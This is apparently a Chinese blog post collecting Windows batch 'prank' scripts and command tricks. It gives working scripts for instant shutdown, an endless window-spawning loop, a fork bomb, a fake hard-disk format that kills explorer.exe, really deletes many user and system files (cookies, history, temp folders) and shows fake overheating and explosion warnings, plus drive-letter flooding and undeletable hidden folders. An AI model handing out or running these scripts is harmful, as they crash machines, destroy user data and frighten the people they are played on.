windows 一些恶搞的bat小脚本
關(guān)機(jī)腳本
@echo off
重啟腳本
@echo off shutdown -r -t 0dos命令實(shí)現(xiàn)無限彈窗
新建一個(gè)文本文件
里面輸入:
: startstart cmdgoto start存為.bat結(jié)尾
但請謹(jǐn)慎點(diǎn)擊!!!!!
效果圖:
唬人的格式化腳本
@echo off color 4f taskkill /im explorer.exe /f echo 刪除C盤所有文件...... del /f /s /q "%systemdrive%\*.tmp" del /f /s /q "%systemdrive%\*.dmp" del /f /s /q "%systemdrive%\*._mp" del /f /s /q "%systemdrive%\*.gid" del /f /s /q "%systemdrive%\*.old" del /f /s /q "%systemdrive%\*.chk" del /f /s /q "%systemdrive%\*.bak" del /f /s /q "%systemdrive%\*.log" del /f /s /q "%systemdrive%\*.txt" del /f /s /q "%systemdrive%\*.ini" del /f /s /q "%systemdrive%\Recycled\*.*" del /f /s /q "%systemdrive%\RECYCLER\*.*" del /f /s /q "%windir%\inf\*.pnf" del /f /s /q "%windir%\Prefetch\*.*" @ping -n 2 127.1>nul rd /s /q "%windir%\Downloaded Program Files" & md "%windir%\Downloaded Program Files" @ping -n 2 127.1>nul rd /s /q "%windir%\LastGood" & md "%windir%\LastGood" @ping -n 2 127.1>nul rd /s /q "%windir%\Offline Web Pages" & md "%windir%\Offline Web Pages" @ping -n 2 127.1>nul rd /s /q "%windir%\SoftwareDistribution\Download" & md "%windir%\SoftwareDistribution\Download" @ping -n 2 127.1>nul rd /s /q "%windir%\temp" & md "%windir%\temp" @ping -n 2 127.1>nul rd /s /q "%userprofile%\Local Settings\Application Data\Microsoft\Media Player" & md "%windir%\Local Settings\Application Data\Microsoft\Media Player" @ping -n 2 127.1>nul rd /s /q "%userprofile%\UserData" & md "%windir%\UserData" @ping -n 2 127.1>nul rd /s /q "%appdata%\Adobe" & md "%windir%\Adobe" @ping -n 2 127.1>nul rd /s /q "%appdata%\Macromedia" & md "%windir%\Macromedia" @ping -n 2 127.1>nul rd /s /q "%appdata%\Microsoft\Media Player" & md "%windir%\Microsoft\Media Player" @ping -n 2 127.1>nul rd /s /q "%appdata%\Microsoft\Office\Recent" & md "%windir%\Microsoft\Office\Recent" @ping -n 5 127.1>nul del /a /f /s /q "%userprofile%\Cookies\*.*" del /a /f /s /q "%userprofile%\Recent\*.*" del /a /f /s /q "%userprofile%\Local Settings\Application Data\GDIPFONTCACHEV1.dat" del /a /f /s /q "%userprofile%\Local Settings\Application Data\IconCache.db" del /a /f /s /q "%userprofile%\Local Settings\History\*.*" del /a /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*" del /a /f /s /q "%temp%\*.*" del /a /f /s /q "%userprofile%\AppData\Local\GDIPFONTCACHEV1.dat" del /a /f /s /q "%userprofile%\AppData\Local\IconCache.db" del /a /f /s /q "%userprofile% \AppData\Local\Microsoft\Windows\History\*.*" del /a /f /s /q "%userprofile% \AppData\Local\Microsoft\Windows\Temporary Internet Files\*.*" del /a /f /s /q "%userprofile% \AppData\Roaming\Microsoft\Windows\Cookies\*.*" del /a /f /s /q "%userprofile% \AppData\Roaming\Microsoft\Windows\Recent\*.*" echo 已刪除完畢 @echo. echo 刪除D盤所有文件...... @ping -n 3 127.1>nul @echo 已刪除完畢 @echo. echo 刪除E盤所有文件...... @ping -n 3 127.1>nul echo 已刪除完畢 @echo. echo 正在低級格式化全部硬盤...... @ping -n 3 127.1>nul echo. echo 正在 進(jìn)行二次 低格硬盤...... ping -n 3 127.1>nul echo. echo 正在 進(jìn)行三次 低格硬盤...... ping -n 3 127.1>nul echo. echo 正在 進(jìn)行四次 低格硬盤...... ping -n 3 127.1>nul echo. echo 正在 進(jìn)行五次 低格硬盤...... ping -n 3 127.1>nul echo. echo 注意: cpu溫度127度!溫度過高報(bào)警!!! echo. ping -n 2 127.1>nul echo 注意: 硬盤溫度86度!溫度過高報(bào)警!!! echo. ping -n 2 127.1>nul echo 注意: 顯卡溫度96度!溫度過高報(bào)警!!! echo. ping -n 2 127.1>nul echo 注意: 系統(tǒng)崩潰, 主板溫度 超過臨界值!!! echo. echo 注意: 電容負(fù)荷超過99% echo. & pause echo 電腦將在60秒內(nèi)崩潰或爆炸!請勿強(qiáng)行關(guān)閉電源!否則會(huì) 導(dǎo)致cpu和硬盤徹底損毀!! shutdown /r /t 60 /c "電腦將在60秒內(nèi)崩潰或爆炸!請勿強(qiáng)行關(guān)閉電源!否則會(huì) 導(dǎo)致cpu和硬盤徹底損毀!!" ping -n 30 127.1>nul shutdown -a start explorer.exe exit效果圖:
盤符增加
@echo off
for %%i in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do (subst %%i: C:)
效果圖:
盤符恢復(fù)
死機(jī)循環(huán)
@echo off
%0|%0
效果圖:
清理系統(tǒng)垃圾
@echo off
echo 正在清除系統(tǒng)垃圾文件,請稍等…
del /f /s /q %systemdrive%*.tmp
del /f /s /q %systemdrive%*._mp
del /f /s /q %systemdrive%*.log
del /f /s /q %systemdrive%*.gid
del /f /s /q %systemdrive%*.chk
del /f /s /q %systemdrive%*.old
del /f /s /q %systemdrive%\recycled*.*
del /f /s /q %windir%*.bak
del /f /s /q %windir%\prefetch*.*
rd /s /q %windir%\temp & md %windir%\temp
del /f /q %userprofile%\cookies*.*
del /f /q %userprofile%\recent*.*
del /f /s /q “%userprofile%\Local Settings\Temporary Internet Files*."
del /f /s /q "%userprofile%\Local Settings\Temp*.”
del /f /s /q “%userprofile%\recent*.*”
echo 清除系統(tǒng)垃圾文件完成!
pause
ps:由于明天考試,所以就匆忙的總結(jié)一下,后期還會(huì)添加一些有意思的bat或者vbs腳本,不要問我什么是bat。。。其中的命令請自己百度。都可以查到。
分享是一種美德。不要藏著掖著,那樣只會(huì)讓人們看不起你。
今天上概率論的時(shí)候,看著美女老師講課,,,突然覺得有一句話好有道理。大學(xué)階段甚至工作的很多時(shí)候,我們不可能有足夠的時(shí)間來系統(tǒng)的學(xué)習(xí)某一門技能,我們需要獲得的能力就是,在幾天,幾個(gè)小時(shí)甚至是幾分鐘之內(nèi),學(xué)會(huì)一門技能。比如三天學(xué)會(huì)一門編程語言,這是完全可以實(shí)現(xiàn)的,但是要有踏踏實(shí)實(shí)的基礎(chǔ)。這些基礎(chǔ)不僅僅包括你會(huì)編程,還要求你懂操作系統(tǒng)的運(yùn)行原理,懂硬件的運(yùn)行原理。
2015.6.24補(bǔ)充
隱藏文件夾:
attrib 顯示所有文件的屬性;
參數(shù):+r或-r [文件名] 設(shè)置文件屬性是否為只讀
+h或-h [文件名] 設(shè)置文件屬性是否隱含
+s或-s [文件名] 設(shè)置文件屬性是否為系統(tǒng)文件
+a或-a [文件名] 設(shè)置文件屬性是否為歸檔文件
/s 設(shè)置包括子目錄的文件在內(nèi)的文件屬性
, 設(shè)置所有屬性文件為歸檔文件
例如:attrib +a +s +h +r e:\bak\tools
attrib -a -s -h -r e:\bak\tools
自己記得文件夾的路徑,直接在地址欄里面輸入,即可進(jìn)入。
隱藏和禁止:
正確用法:
第一步:在運(yùn)行中輸入cmd,回車,打開命令行窗口
第二步:在命令行窗口中切換到想要建立文件夾的硬盤分區(qū),如D盤。輸入D: 回車
第三步:輸入MD 123…\回車(MD與123之間有空格),注意文件夾名后有2個(gè)小數(shù)點(diǎn)(123和…也可用其他比如字母逗號等替代)
OK,搞定,看看你的D盤下面是不是多了一個(gè)名為123.的文件夾了?它是既不能進(jìn)入又不能被刪除的!不信你就試試看吧
如果想刪除,在命令行窗口中輸入 rd 123…\回車,即可刪除。
如果想進(jìn)入,在命令行窗口中輸入start d:\123…\回車,即可進(jìn)入
以上用法只在win xp下適用,在 vista和win7 下無效。
恢復(fù)數(shù)據(jù):
經(jīng)win7測試,失敗。xp也許能成功。先記上!
總結(jié)
以上是生活随笔為你收集整理的windows 一些恶搞的bat小脚本的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: SVN合并分支
- 下一篇: 点云配准1:配准基础及icp算法